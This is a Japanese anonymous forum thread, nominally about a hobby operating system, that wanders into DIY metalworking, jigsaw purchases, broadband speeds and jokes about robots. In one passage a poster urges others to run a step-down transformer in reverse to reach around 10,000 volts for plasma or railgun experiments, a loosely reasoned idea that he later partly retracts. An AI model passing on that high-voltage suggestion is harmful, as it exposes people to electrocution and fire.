まあ、最初は二枚のアルミをすり合わせればそれなりに滑ら
せることが出来ると思う。

市販のXYテーブルをCNC化しようと思うと、手動のハンドルを
はずしてステッピングモーターを取り付けないといけないけど、
取り外しても軸をどうやってジョイントするかという大問題
がある。軸が完全に丸いということは、手動ハンドルが付いて
いたことから考えにくいけど、運悪く独特な形状だと都合が悪い。

自作だと、自分でDカットを施したり接着してしまったり色々
やって、仮に失敗してもいざとなれば、また作り直せるという
話になる。それが市販品だとその部品だけを交換することなど
できないので、テーブル全体を買いなおさないと駄目になる。

やっぱり、OSもコンパイラも自作が一番ですね。(^_^;)

こうやって、手段が目的になっていくのであった。

ものづくりなんて、もともと人間の生きるための手段が
目的になって楽しんでるだけだしね。

まあ、食べるのがすきな人、料理が好きな人だって、手段が
目的になってるだけ。運動が好きな人だって、移動したり
狩をしたりする手段が目的になってるだけ。食べすぎたため
ダイエットしてる人は、本能的欲望が誤動作した結果の
後始末をしてるだけっていうことで。

最近、手段が目的になってることが悪いことのように言う人が
多いようですが、もともと、人間の最終到着地点とは死ぬしか
ないのであって、今現在生きている人たちは、その途中の経過
点でしかないことを考慮すると、人間の本質は手段や経過を
味わっているに過ぎない、ということになる。

実は、人間が勝手に目的と思い込んでいることが、よく考えてみると
手段だったりするわけです。


映画やテレビを見るのが好きな人は多いのですが、それを目的
だと考えるのも、突き詰めて考えると不可解な点が見えてくる
みたいです。

というのは、人間は情報を入力するのが好きな性質があるそうで、
常に刺激を欲しがってるそうです。でもそれ自体は意味がなく、
その刺激を欲しがる性質が、人間が生きていくために有利であった
から身についているのだと考えられます。

ほんでもって、テレビを見てるとなんとなく面白いのは、
刺激を欲しがる性質を満たすからだと考えられ、それ自体は、
生きるための手段の副作用でしかないのではないか、という
ことです。

手段でさえなく、「手段の副作用」なわけですね。

今日は一段とわけわからなくなってまいりました。

お金をもうけることが目的で会社に入ったとする。
しかし、お金自体は、商品を買うための手段であったりする。

今度はまた、車を買うためにお金をためようとするとする。
しかし、その車は移動の道具、移動の手段であったりする。

自由に旅行するために車が欲しいとする。この場合、旅行が
目的ですかいな、といえば、旅行は好奇心を満たす手段である。
好奇心は、人間が生きていくために獲得した性質であって、
生きていくための副作用である。本来意味のないことを楽し
いと感じてしまう。地球上で上手く生きていくためには、
人類は好奇心がなくてはならなかった。ということは、好奇心
は手段である。

好奇心を満たすと反応する装置が脳内にあって、その装置が
より多く反応することを人間はしようとしてしまう。

食べると満足する脳内の回路が、より満足するように追求
していくと肥満体の出来上がり。食べることは生き抜く手段
であったはずだが、それが死ぬことの手段になってしまったり
する。

手段が目的になることは人間だけにできる特権で、その積み重ねで人類は
ここまで進歩してきたのだよ。

人間の脳みそが巨大化したのは、生きていくための手段であった。
ということは、脳みそが小さな生き物より、楽に生きて行ける
はずだ。

あれ? でも、その辺を飛んでいるカラスは、食べたいときにはゴミを
あされば食べられる。あれ? アフリカのシマウマたちは、食べたい
ときには下草を食べれる。

人間みたく、苦労して働いている動物なぞいないな。

人間は働かないと、食っていけない。

あれ、動物たちは働かないでも食っていける、、、。

まあ、食べるときにゴミ袋を破ることが、カラスにとっての「労働」
かあ。

食べれる。--->食べられる

ラ抜き言葉ですた。

アフリカのシマウマたちにとっては、大好物の料理が周囲に
常に張り巡らされているようなものなのかな。

下草を大好物になっていさえすれば、人間も働かずに済んだ
かもね。

地球上で一番苦労している動物が人間かもなあ。。。

> やっぱり、OSもコンパイラも自作が一番ですね。(^_^;)
ここだけ読んだ

シマウマに生まれ変わったら、真っ先に肉食獣に食われて
生存競争から脱落しそうな奴がいるな

働かなくても食糧確保できる人間

常に餌を求めて彷徨っている動物

どちらが幸せだろうか？

>>596
>働かなくても食糧確保できる人間

なってみたい。

>>595
野生なら逃げ足が遅くなってきたら寿命でんな。

>>596
それはきっと母ちゃんが確保してるはず。母さんに感謝しる。

>>598
台風が接近してますね。

名神に乗って逃げるべし

国道８号線を北に逃げたらついて来ました

フライス盤でも「ネジきり加工」が出来るんじゃないかと思って
ます。ある種の「ソフトウェア特許」ですか。

旋盤の場合、ネジの軸を回転させて、歯(バイト)を固定して
らせん状に削るのですが、一気に深くは削れないので、同じ
軌跡を何度もなぞるのですが、ワテ考案の新しい方法だと
溝部分を三角形のエンドミルで掘りながら、金属棒を回転
させながら平行移動します。こうすると一回で彫れてしまう
のではないかと思うんですが、実際やってみた人いないんでっ
かいな。

なんちゅうか、ボール盤で金属棒の側面に直角に穴あけができる
みたいなので、普通ドリル歯を使うところをエンドミルにして、
金属棒を回転しながら軸方向に平行移動させれば、台形ねじ
が出来てしまうのではないかと思ったのですが。

台形ネジまで自作する気でいる? >漏れ (^_^;)/

しかし、この方法でナットを作るのは、ちょいとムズ。

>>600
ワテは結構高台(?)に棲息してんので、洪水の心配はないので
すた。

かわりに地滑りにやられるパターンか。

>>605
子供のころ地面を掘ると粘土が出てきたので、大丈夫かも。
粘着力で。

ボール盤を横倒しにして、よく見なければ(?)、旋盤に見えるという
説もあるが、、、。

>>600
逃げなくても、パーキング・エリアでノンビリ過ごせばいいだけでは?
洪水来ないはずね。

なんか、防災グッズに食料入れてる人と似てるなあ。
高速道路に載った時点で安全なんじゃないかと。

防災グッズもって逃げられた時点でもう助かってるんじゃないのか
と。食糧援助が出来ない状況に陥った時点で日本は、ユーラシア
プレートの下にもぐりこんでるんじゃないかと。

そもそも、脱出できる手立てを考えた方がいいかと。
家の中に円筒トンネルを施工しておけばいい。

というより、そんなときに運良く家にいるのかと、、。
プラットフォームの先頭に立っていて、ちょうど自分の目の前に
電車が入ってきた瞬間に地震が起きる可能性も考えとかないと。

完全なる防災対策とは?

1. 防災グッズは常に持ち歩くこと。
2. フルフェイスのヘルメット着用のこと。
3. 手甲、スパッツ、長靴なども着用。
4. 鎧または、宇宙服などもあった方がよい。
5. 雷に備えて全身金属で覆い、アースをとること。

これでも全然足りない。

>>602
> フライス盤でも「ネジきり加工」が出来るんじゃないかと思って
> ます。ある種の「ソフトウェア特許」ですか。

ついにここまで腐れたか。
ブランコの縦乗りで特許を取った屑餓鬼と同類だな。

煽り屋出てこないね。どこの穴にいるんだろう。

>>613
童貞かどうか聞かれたいの?

お兄さんもしかしてちょっと寂しいのかい

100V:1V 位のトランスを買ってきて、1Vを一次側に、100Vを二次側に
すると、二次側は、1万Vになるので、そこに2本の金属棒を取り付けて
少し近づけてみる実験をしてください >誰か

(実験にあたり、一次側に10A程度のヒューズをつけ、必ず
屋外で、なおかつ芽には防護用のゴーグルを付けることを
忘れずに)

ある程度近づけると理論上はプラズマが発生すると思うのですが、
ワテは怖くて実験できませんので。


ついでに日本の金属棒を平行にして、レールをつくり、垂直に磁場をかけ
てみて。

一応、これで電力を推進力に換えることが出来るんですけども。

ただし、電力以外にプラズマの原料となるガスが必要なのが
欠点ですね。SFの様にやすやすとは宇宙を航行できまへんね。

トランスの耐圧の関係上、トランスが破裂しても当方では
一切の責任を取れませんのであしからず。_(_ _)_

鉄の棒に一次側100回二次側1000回程度銅線を巻いたものを
二台連結した方がトランス買うより安いね。

すぐにできるよ。ただし、よい子はまねをしないでね。

あ、こんな回路図見つけますた:
http://www.ted.isas.jaxa.jp/spf/railgun.html

基本的には同じですね。

ほほおお。4:1位のトランスでも、急激にスイッチをOFFにすれば、
レンツの法則で磁束を維持しようとする作用が働いて二次側に
超大な電圧が発生するみたいですの。こんな単純なもので
もいいなら、一家に一台プラズマ銃も夢ではない。

OFFじゃなく、ONの場合を使ってるみたいですね。へえ。

あ、ガスって、窒素でもいけるので、空気でもいけますです。
一応、大気圧でも熱プラズマは発生するので、トランスに
金属棒つなぐだけでも取り合えずのプラズマは出ると思われ。

必ずヒューズつけてね。

「レールガン」は、2本の金属棒の間にさらに三本目の金属棒を
おいて、その金属棒で弾を押し出す武器だそうですの。

けど、動かすものがプラズマでないと、宇宙で電気だけを使って
推進する装置にはなれないのだ。どっちにしろ、プラズマの
原料は船外に放出されるのが悲しいけど。

>>620
あれ、ONだと単なるトランスでしかないな。4倍にしかならない。

レールガンの研究って武器の研究でっか?
あれ、憲法違反かと思ってたけど?

あ、ワテはガン・マニアでもロボットアニメ・マニアでもない
ので誤解なく。

>>617
あ、もっと巻き数増やさないとだめかも。損失が大きすぎるので、
電気がもったいない。

レス番飛びまくり

プラズマは一回「点火」すると抵抗値がめちゃくちゃ下がるので、
点火後の電圧は余り必要ないかもしれない。最初だけ電圧上げるか、
何かの方法で点火してやればいいのかも。

やっぱ、何も考えずにトランスで1万Vを作るのはやめた方が
いいな(笑)　どうせすぐブレーカー飛ぶだけかも知れんけど。

電池を6個直列にして、シャーペンの芯を炭に接触させるか
させないかの程度に保つだけでもプラズマが出来るらしい。

経験的に言うと、電磁石の線に手で電池をつないでおいて、
線を片方外すと、外した箇所でオレンジ色の火花が見える。
あれも多分プラズマの一種かな。電磁石を急にOFFにすると、
ものすごく高い電圧が出るから。

電磁石が安定器で、指がグローランプみたいなもんでんな。

Lのスレ私物化はちょっと目にあまるな。
OSと関係ない話だったらこの板から出てけ。

(^-^;)

>>630
板自体過疎なんだから別にどうでもいいと思うけど。

>>632
過疎なのは板じゃなくてスレだ

>632じゃないけど、板レベルで見ても過疎になると思うぞ

それがどうしたという話だけど

過疎なのと板ちがいなのとは関係のない話かと。

そういえば俺がまともにプログラミング始めたのは去年の今頃だったな。
大きめの仕事が一段落して急に手が空いたんで、暇潰しに
何でもかんでもprintf()して面白がってた。
誰か最近急に暇になったからnwsosで何かやってみよう、って人いないかなー。
OS自体は結構色々出来るようになってて、使う人だけが足りないのが現状だし。

ひょうんなことから、板金折り曲げ機(ベンダー)をまず自作して、
ほんでから、XYテーブルを自作しようかな、ということになってお
ります。

私物化するなって言われたのに、また、、。

この「肉抜き法」が参考になりまし:
http://www1.odn.ne.jp/~ckt91320/orimage_02.html

なんでも、曲げたい直線の谷側に、ドリルで貫通直前まで穴を連続
して彫っておくんだそうです。後は万力(バイス)に挟んで手で曲げ
れば、そこが弱くなっているので綺麗に曲がるそうな。

実は、PROXXONのフライス盤をちょこっと現物調査した結果、
「大したことないの。こんなもんに5万も出すなら、自作してやるべし」
ということになったのでありました。

技術的には大したこと無いが、手間の量でダウンしてしまうという
結果になったりして。あら、デジャブが、、、。

折り曲げ機には、二種類あるらしく:

曲げたい直線の両側を合計4枚の鉄板で挟んで、単純に曲げてしまう対法:
http://members9.tsukaeru.net/yono/kakou/bender/

曲げたい直線の部分の上から薄くて硬い金属の板で強く押さえ、裏側
は、二本の丸棒で支えるようなタイプ:
http://www1.odn.ne.jp/~ckt91320/orimage.html

後者のタイプには、Cクランプの上下の押さえをV字のオスとメスに取替え
たような工具もある。

なぜ二種類あるのかにも興味がわく。原理が違うのだろうかとか。

基本的には、どの方法でもどこかには「テコの原理」を使っているのだと
は思うけど。そうでなくては、支持装置が壊れるし。

http://64.233.167.104/search?q=cache:9dzCuI8JKyUJ:www.ybaba.com/model/tools/tools1.html+%E6%8A%98%E3%82%8A%E6%9B%B2%E3%81%92%E6%A9%9F&hl=ja&lr=lang_ja

折り曲げ機のメーカーが、なぜか「NWSL」。因縁を感じますです。

卑下スレを眺めてからこっちを見ると悲しみさえ湧いてくるな。。。

http://64.233.167.104/search?q=cache:goKIYB-XS_4J:www.geocities.jp/bmtc_pin/FMV-5100C3-02.html+%E3%82%A2%E3%83%AB%E3%83%9F%E3%80%80%E6%8A%98%E3%82%8A%E6%9B%B2%E3%81%92&hl=ja&lr=lang_ja

この人も折り曲げ機を自作したはる。
この人の場合、二枚の鉄板を蝶ネジで止めることで、アルミの板の
曲げたい部分の片側半分だけを挟んだはる。

けど、もう片方も同じように挟めば、変なところで折れる可能性が
0になるため、曲がる場所は直線部分に限定されるという計算に
なるはずなんだけども、、、。

アルミもPカッターで筋をつけてから、4枚の鉄板で挟んで
金属疲労を使って「揺らし切り」できるんですね。
こんなテクニック知らなかった。

>>638
> なんでも、曲げたい直線の谷側に、ドリルで貫通直前まで穴を連続
> して彫っておくんだそうです。後は万力(バイス)に挟んで手で曲げ
> れば、そこが弱くなっているので綺麗に曲がるそうな。

>>646
> アルミもPカッターで筋をつけてから、4枚の鉄板で挟んで
> 金属疲労を使って「揺らし切り」できるんですね。
> こんなテクニック知らなかった。

こんな金属加工の基本中の基本以前の話を「知らなかった」とか
言っている奴が、フライス盤を自作ねえ・・・

>>647
アルミのPカッター筋付け&揺らし切り、たった今、試した。
鉄板も万力もなしの手揺らしで綺麗に切れた。

かしこうなった。

しかし、ケガキ線の上にPカッターで溝を掘った結果、切断後のサイズは
1.5mmほど予定より小さくなってた。

ケガキ線より外がわ1.5mm程度をPカッターでなぞる必要があるのか。

ゆー君がんばれ。

ドリルで切削せずに、Pカッターの溝だけでも「手曲げ」が正確に
可能なのだろうか?

ボール紙を綺麗に曲げたいときは、「山側」に溝をつけるのだから、
アルミの場合も原理的には山側にPカッターで溝を掘ればいいはず
だと考えるのは浅はかなのかな? 両側とも彫った方が曲がりやすそ
うな気もする、、、。

>>649
おっと、今回は片側の辺は、切る前のアルミ材の辺をそのまま使ったので、
切ったのは一辺だけなので、1.5mmを倍にする必要は無いのである。
あしからずなのである。

>>650 ワテのことでっか? そしたらありがたいお言葉であります。

>>649
> ケガキ線より外がわ1.5mm程度をPカッターでなぞる必要があるのか。

マジ、常識以前の問題じゃん・・・曲げ加工のマの字も知らないのかよ・・・
こんなシロートに「大したことないの」と言われてしまうフライスたん・・・

>>654
まだ、曲げ加工じゃなく、切断なんだけどね。(^_^;)

引きこもり工作日誌。

たのしそうですね。アルミは加工がしやすく，アマチュアには良い素材です。

>>641
>曲げたい直線の部分の上から薄くて硬い金属の板で強く押さえ、裏側
>は、二本の丸棒で支えるようなタイプ:

これは，曲げパンチと曲げダイで曲げるプレスブレーキの代用的な構造ですね。
パンチとダイを用意できないから敢えてこういう風にやっているんでしょう。
ダイの肩Rだけをパイプで代用しているわけです。
しかしこれですと，パンチとダイとの間で生じるべき押し付け圧力が出ません。
出なくても曲がるのは，アルミのヤング率が低いからです。

>>654
>> ケガキ線より外がわ1.5mm程度をPカッターでなぞる必要があるのか。
>マジ、常識以前の問題じゃん・・・曲げ加工のマの字も知らないのかよ・・・

曲げ加工ひとつとっても，千差万別。コキ曲げでは常識でも，V曲げやプレス加工では非常識です。
対象製品にもよりますです。ex)切り欠きによる構造強度低下など。

プロの金属加工については，
http://www.mol.ne.jp/lecture/press/index.html
である程度雰囲気だけは分かるかと思います。プロは道具をたくさん使います。
ちなみにミスミさんでは金属加工の請負もやっておられたと記憶しています。
ただし法人名義が必要なので，アマチュアではつらいですね。

とっくにご存知かと思いますが，http://www.emachineshop.com/で，
ある程度の機械加工は可能なようです。国内からの利用者も結構おられるようです。

>>657
>しかしこれですと，パンチとダイとの間で生じるべき押し付け圧力が出ません。
>出なくても曲がるのは，アルミのヤング率が低いからです。

これは，間違ってますね。世間で常識，高精度加工屋さんで非常識のエアベンドですからね。
ついついボトミング〜コイニングを意識してわけのわからんこと書いてしまいました。
この2行は忘れてください。ごめんなさい。
スプリングバック（アルミならあまり気にしない）考慮すれば，この機構で充分かと。

ではおやすみなさい。/~~

手コキではどうなんでしょうか・・・

そういえばこの人ロボットだったな

>>659
手コキというか，古くからある別の板ではさんで曲げるのは柔軟で優れた加工法だと思うです。
半自動機械でやるとなると http://www.wingbend.com/ くらいがそこそこソリューション。
機械を使ってもテコキ風にできれば良さそうなもんですが，世の中そううまくはいかないものですね。
コキ曲げ用の金型というのも作るも使うも大変そうです。特にクリアランス。

ところで，まもなく工作機械見本市が開催されますですぅ。
http://www.jimtof.org/
いろいろけったいな手動〜半自動〜自動機械をたくさん見ることができます。おヒマな方はどぞ〜。
制御に興味のあるエンジには良い刺激になると思いますにょ。

その筋の名刺がないとロクに説明聞けませんけどねぇ〜＞その辺りシビアな業界

>>651
このPカッター溝付け、曲げ加工、うまくいきました。
しかも、溝の深さはかなり浅くてもいいみたい。
むしろ、深すぎるのを気をつけないといけないくらいでした。
というのは、2mm厚のアルミ板だと、軽く5度もひっかいた程度でも、
曲げるときに曲がりすぎて、下手すれば折れてしまいそうになるから
です。

逆に言うと、ものすごく効率がいい曲げ方だと感じました。
ちょっと筋を付けるだけで確実に曲げられます。


あと、2980円でハンディー・ジグソーを買ってみたので使ってみましたが、
切断中に歯が「それて」、思ったように切れないことが分かりました。
直線を切ろうと思って切り始め、途中で若干直線からずれたので、
戻そうと思って、手動ののノコギリと同じつもりで少し力をかけていた
のですが、ジグソーの歯が少し曲がって、取り残されているようになり、
曲線みたいになってしまいました。普通に手動のノコギリで切ったより
も変になってしまいました。

普通、ジグソーはもっと高いものなので、このジグソーはかなり安物に
当たります。安物のジグソーに最初から同梱されている歯は。柔らかい
そうなので、そのせいかもしれません。

それか、最初からあて木を使って正確に直線に沿わし、切っている途中
では方向転換しないようにすれば、この安物の歯でも直線が切れるの
かもしれませんが。

自作の「正確に直角の出るあて木」でも作ってみようかと思っています。
あと、歯をもうちょっとまともなのに変えてみようかな。

あ、最近気づいたんですけど、サシガネで直角を作るより、スコヤで
やった方がずいぶん楽ですね。自持ちのサシガネだと直角の角の近くが
歪んでいるので、そこを当ててしまうと直角にならないんです。

それと、スコヤもL型なんですが、T定規みたいなT型なのがあれば、重量
的にバランスがとれて便利そうなだと思いますです。
あと、説明しにくいですが、当てる棒の部分の上面に引っかけのための
薄い板が張り付いていれば、さらに安定感が出るだろうなと。

>>661
ねずみさん、お詳しいですね(眠中に起きてしまうとホルモンバランス
とか崩れませんか? (^_^;))。

あ、その催しはテレビで見かけたような気もします。おもしろそうだけど、
遠いのと、鬱になりそうなのでやめときますです。

>>662
言い忘れましたが、スジを付けるのは「山折り側」でOkでした。
ボール紙と同じですね。

でも、「複数ドリル穴貫通直前方式」だとどんなになるかも少し
興味深い。そっちはやってみてないので。

アルミ板は、ケガキ棒でケガクと最後まで見やすい。
でも合板は、ケガいても最初から判別できない(ワラ)
繊維の谷間と同化するし。
鉛筆だと切断中に消えて見にくくなる。しかし、油性ペンとかだと
仕上げの時に消えなさそうだし、どうしたものか。

「666」っていう数字、旧約聖書に意味ありげなことがかかれてますが、
2/3の小数点表記は、0.66666・・・なので、66.6%なんていう表記は
よく見かける。

先日知ったことを書いておく。

模型用の小型ルーター用のビットに、円盤形のノコギリが用意されている。
一見、グロテスクで使い物にならなさそうなビットだけど、実際使って
みると、かなり使用感がよく、スチロール板(プラボード)は、かなり
正確に、しかも楽に切れることが分かった。振動も少なく、少なくとも
ジグソーできるより遙かに楽に切れる。Pカッターで切るより楽ですた。
切り口も精緻でし。

Pカッターで切る場合、後で折る必要があるので、完全に板の端から端まで
延長されたような直線しか切れない。斜めの直線であっても、板の2辺と
交わるように工夫する必要がある。その点、この小型円盤のこビットは
かなり使えます。曲線であろうが、中抜き状の穴であろうが、楽に作業
できます。これはお勧め。


それから、トリマービットを、5980円のボール版に装着して気を研削して
みたら、刃先としては結構いけそうです。けど、XYテーブルなしで正確
に作業するのはムズだということも判明。
やはり、NC化されたXYテーブルが欲しいところ。

また、トリマービットというものは、「木材専用」であるらしく、
その辺がフライス盤用のエンドミルとの違いかなと思った。

あ、使ったのは、ストレートビット、というトリマービット。

ボール盤で試してみたかったのは、トリマー用のビットをドリル
に付けたら何か問題でもあるのかを試したかったから。

結果、特に問題はない模様。

エンドミルの代わりとしても利用できそうな気がする。

こういった、工具の流用は結構怖いものがあるけど、やってみると意外と
できたりするもので、上手くいけば、新たな世界が切り開かれる可能性
もあるかなと。

NC化フライス盤も、実は2万程度で自作できたりするんじゃないかと。

手作りの二万円でできるものは、既製品(?)の二万円のものとはある意味
性格が違うもの。手作り道具は、汎用部品でできてるものだから後でサ
イズの修正などが自由にきくし、バイスの取り付けなどの為の穴あけ
なども気兼ねなくできる。何故なら、壊れても、元に戻すことが安く
できるから。既製品なら高くついてしまう。

手作りだと精度はやり方によって色々変化しそうだし。丁寧にヤスリがけ
などをすれば、既製品より精度が高くできるかもしれないし。
5万のフライス盤を見た感じでも、微調整ができるような工夫がされている
だけで、部品の精度は、手でヤスリがけすればもっと上げられそうな気も。
ただ、正確な直角とかは、手で出すのは難しいかもしれないけれど。

えらくご熱心ですね。

一品モノならば，「ちょっとずつ加工して，寸法を測りながら繰り返す」ことでかなりの精度を
出すことができるです。測れないものは加工のしようがありませんね。フライス加工なら，
定盤（平らで頑丈な石板）とダイヤルゲージがあればよいです。
でも平面を出すにはちょっとした経験が必要だと思います。
ゲージブロックも欲しいですね。一式揃えると，10万円じゃとても足りないですけどね。
ダイヤルゲージやらなにやら（ミツトヨ）
http://www.mitutoyo.co.jp/jpn/frames/goods.html

直角を出すには，テキトウなスコヤでいいでしょう。
http://www.shinwasokutei.co.jp/cata2004/024.jpg

スレ違いの埋め荒らしはやめてください。

測定器は基準が無いと持ち腐れになります。基準の使い方を誤ると即，誤測定になります。

売ってる材料の寸法や面は全然精度が出ていないので，基準面や寸法の基準は必要です。
物理量の測定とは原器に対する相対値，という鉄則があるので，ゲージブロックなどがなければ
どんな測定器もただのゴミです。
定盤がなければ，高さも正確に測れません。朱がなければ面も出せません。
正確に測れなければ正確に加工しても確認できません。
加工も測定も大変だ，と言えます。
加工が出来ない人は，測定が出来ない人です。
測定技術は加工技術の十分条件ではありませんが，必要条件です。

0.1mmオーダなら，コーナンで売っているような安物ノギスとマイクロメータでなんとかなるでしょう。
ゲージブロックも，ゲージブロックを持っているおじさんに鉄の塊を３つ渡して，
「10mm,20mm,50mmに加工して」と頼んで，自前ブロックを作ってもらえばよいです。
そこでちゃんとした定盤とゲージブロックとダイヤルゲージで，寸法を採ってもらって，
（四スミと中央でガマン）平均値をマジックで書いておけば立派なゲージになります。
欲しい精度が0.05mmくらいなら，±0.01くらいに収めてもらえば充分でしょう。
防錆剤を塗ってもらって，ビニル袋に大事にしまっておけばおｋです。熱膨張率はこの際忘れるです。

ところで，私は金属加工の経験はほとんどないです。現場で見聞きしたことを書いてます。念のため。
マイクロやハンドドリルなど現場ツールは一式持ってますが，定盤やゲージは持っていません。
DMMやらハンディオシロは持ってます。(FLUKE製＝現場チック)
電気/制御関係の方が道具は高価でも種類は少なくて済みます。機械関係の道具は
やたらめったら種類があって，一通りの仕事をするにはガレージ1個じゃ足りないです。
しかもサイズごとに同種のものが複数必要です。例えばレンチだけでもえらい本数が必要でしょう。
六角，モンキ，ソケット・・・・インチとミリが混ざってたら目もあてられません。

>>674
すみませんでした。逝きます・・・

よーく読むと、O S や、お ー え す や、オ ー エ ス が文章中に
散りばめられてるけどね。

実は巨大ロボットを作ってOSにNWSOSを使う為の布石だろう

>>678
巨大ロボットって、やっぱり３つのメカが１つになるやつかな…

NWSOSからHOSに改名しなきゃいけないな

作るんだったら鉄人28号がいいかも。

自分は安全な場所から遠隔操作。

ショタコンの餌食になるからやめれ

うう。貧乏なのに、日立の1万5000円もするジグソー買ってしもうた。
どうすべ。(;_;)一生ものだと思って虫の黄色い汁をさわる思いで買って
しもうた。

ちょっと前に買ったパームジグソーとかいう2980円のジグソーだと
ブレードの支えがいい加減で、切ってるときに少し方向を変えようとして
力を加えたら、その力に耐えられずにブレードが曲がってしまい、
ブレードが置いてけぼりになって、方向が変えられない現象を体験し
た反動がきてしまった。

うう。でも、RYOBIやMAKITAに比べてなんとなく日立のブレード支えは
しっかりしているようだったので、高いだけのことはあると思って。
少なくともあの粗悪品とは格段の差があるみたい。まだ使ってないけど。
BOSCHとかいう外国のメーカーは安いのに日立製を凌ぐほどのしっかり
した作りをしているようだったが、欲しい機種がなかった。

そこから仮想マシンのBochsにつなぐぐらいのOS板的配慮が欲しいな

コーナンオリジナルの超安い(2980円)ジグソーは、また同じ目に遭いそう
なので却下しますた。ブレード取り付け部が日立製などに比べて明らかに
いい加減なのと、その下にあるブレード押さえ部にガタがあること、
及び、取り付け部と押さえ部の位置関係がいい加減で、ブレードに
負担がかかるか、もしくわ切断中にブレードが押さえ部から外れてしまい
そうな予感がした(一身上の経験により)ので。

>>684
オース!!

まあいいや。将来、NWSOS搭載予定の鉄人28号を作るときに役立ちそうだし。

http://www.e-dougu.jp/dendo/setu/jiguso.htm

CJ65VEってやつ買ったんだけど、無段変速タイプでオービタル機構なし
のやつもあったんだ(CJ55VA)、、、しまった。オービタル機構は
あまり必要ないと思ってたんだけど。

まあ、いいや、NWSOSを乗せる鉄人28号を作る前に、オービタル機構
の勉強をしておこう。

http://www.firstlight.co.jp/hystric/explorer/gandam/gandam.htm
これ歩ける歩けるらしいよ。がんばって張り合えるようなの作ってｸﾚｸﾚ
見に行くから。

歩ける歩ける→歩けるだ・・・o.........rz

最近の日本人は、マジンガーZのパンチを作る人がいたり、
すご過ぎ。

でも、力を使う方向が間違っているような肝。

人の事言えたタマかヴォケェ

オホ

eoホームファイバーの標準工事費無料のキャンペーンは10/31までと
なってるけど、11/01から32000円とか取られるようになったら誰も
加入せえへんようになると思わへん?

多分そういうことなので、11/01からは、またeoはイーヨーキャンペーン
とかになって、また無料になるに違いない、っていう予想なんだけど、
あってると思う?

YahooBBの12/01の発表を見てから決めたいので。ちなみに、わては、
今YahooBBのADSL 12MHzやし。YahooBBのVOD結構魅力あるし。

eoは安いけどね。VODとかのサービスがまだテスト中とかだし、
コンテンツはYahooの方がいいような感じだし。

>>695
わたすは申し込みますたよ。

＼　　　∩── ､ 　　　====
　 ＼／　●　､_ ｀ヽ 　　======
　　/ ＼(　●　 ● |つ
　　|　　 X_入__ノ 　 ミ　　　　12MHzで釣ろうったってそうはいｸﾏｰ!
　　 ､　(＿／　　　ノ　/⌒l
　　 /＼＿＿＿ノﾞ＿/　 /　　=====
　　〈　　　　　　　　 ＿_ノ　　====
　　 ＼　＼＿　　　　＼
　　　　＼＿__）　　　　＼　　　======　　　(´⌒
　　　　　　　＼　　 ＿＿_ ＼＿＿　　(´⌒;;(´⌒;;
　　　　　　　　 ＼＿＿＿）＿＿＿）(´;;⌒　 (´⌒;;ズザザザ

>>690
鉄人28号は身長50cmなんです。あれは、小学生だったから大きく見えた
だけなんです。

ttp://www.sanspo.com/geino/top/gt200308/gt2003081902.html
20mあるらすぃ

>>699
それは実写用でしょ。本物は50cmやで。

あれこれ調べてみたところ、min:3m　max:10mらしいよ
1/2サイズなら150cmで出来るね。でも、1.5mまで小さくすると制御が難しくなると思う。
2.4mぐらいが妥当なとこじゃないかなぁ？ちなみに50cmってのはAIT製作中のロボットの
サイズぐらいにしか見つからなかった。

>>701は油圧制御前提の話で、モーター駆動にしてやればそりゃ当然かなり小さくなる、つーか
逆に巨大化が大変だ罠

>min:3m　max:10mらしいよ
スポンジみたいなやつですな。

Lたんのﾋﾟｰﾅｯﾂみたいなもんさ・・・

>>697
意味分からない。

>>今YahooBBのADSL 12MHzやし。YahooBBのVOD結構魅力あるし。

>>706
ますます分からないんですけど。('-'?)

>>696
進捗状況はいかがですかい。

あえてマジレスするとbps

(つД`)なんか来週基本情報受けるのに自信が無くなってきたのでぐぐってきました
1.1MHz〜12MHz域を利用するのはVDSLで、クアッドスペクトラムADSL+でも4.4MHz域までらしいです。

>>709
所詮、そういうものは、試験問題作ってる人に洗脳されなきゃならない
んでっせ。

間違った理解の人が問題作れば、そういう問題になるのがこの世の掟。

これが結構大変なんだ。

Tanen.教授が作った問題だと、LinusはOS論で落第になる。
Linusが作った問題だと、Tanen.教授は落第になる。

こんなもんでっせ。

んであなたが使ってるのはYahooのVDSLなんですかADSLなんですか

ADSL 12MHzということになってるものを使ってますです。

教授や学会の見解が間違っているとき、そのまま素直にそれを鵜呑みに
してしまう人が生き残る世界なんですな。そんだから、科学は宗教だと
言われる。

グーグル様に伺ったところそれを使ってる例は世界で3例しか無いようなのですが・・・
http://www.google.com/search?q=%22ADSL+12MHz%22

http://bbpromo.yahoo.co.jp/promotion/adsl/price/getsugaku.html

これ、ADSL 12MHzちゃうのん?

えーと、ごめんなさい。なんか迷惑をかけてしまいそうなので寝ますおやすみなさいよい一日を。

>>716
Hzじゃないよbpsだよ
12Mbps
2400bpsの音響カプラでニフティやってたんでしょ？

をを。そういうことだったのか。(^_^;)
こまけーこと、気にすんのえ　(^_^;;)

>>718
ちなみに、音響カプラは使ったことない。モデム。

ほほ、ほほ、ほほ。(^_^;;;)

>>720
でもラジカセにテープ入れてCSAVE, CLOADってやってたんでしょ?
しかもその頃はbpsって言わずにボーって言ってたの知ってるでしょ？

>>722
知ってま。

日記:
今日は、高いジグソーを買ってしまったのと、細かい点を指摘されたので
二重にショックな一日でした　マル

>>Lさん
9/20位に申し込みました。
んで来週に配線の調査に来るそうです。

11月くらいには繋がるかな…。

>>720
気を長く持ちましょう。（気を強く?）

Yahoo!BB光って1Gbpsを売りにしているけど、結局最大100Mbpsだって書いてあったような気が…

と、科学は宗教だのと、さんざん悪態をついたコーンたんは自分の間違いはスルー。

>>722
ちなみにbaudとbpsは別モノですよ。

>>711
> Tanen.教授が作った問題だと、LinusはOS論で落第になる。

これはタネ教授自身がそう発言したが、

> Linusが作った問題だと、Tanen.教授は落第になる。

こんなことは聞いたこともない。ソース出しなさい。

>>728
仮想的な話なので実験的事実はありません。
なんでも実験できるわけではないので。

「長い棒があったら地球さえ動かして見せましょう」
というガリレオか誰かにも「ソース」を出せとか、
(ガリレオ以外が)納得できる根拠を示せとか言う人もいたに違いない
ことだし。

アルキメデスか。

>>729
> 仮想的な話なので実験的事実はありません。
> なんでも実験できるわけではないので。

実験の話なんて誰もしていません。これはあくまで事実関係の話です。
実在する2人の人物の言行に関して君が>>711でおこなった言及についての真偽の問題です。

どうやら「仮想的な話」ということは嘘八百なんですね。

ちなみにLinusはmicro kernelを否定などしていません。
ただ単に適材適所であり、当時のLinuxはmicro kernelには適合しないと言っただけ。

真偽ってあんた。

Tanenが、メモリ保護のないマイクロカーネルのサンプルを作った
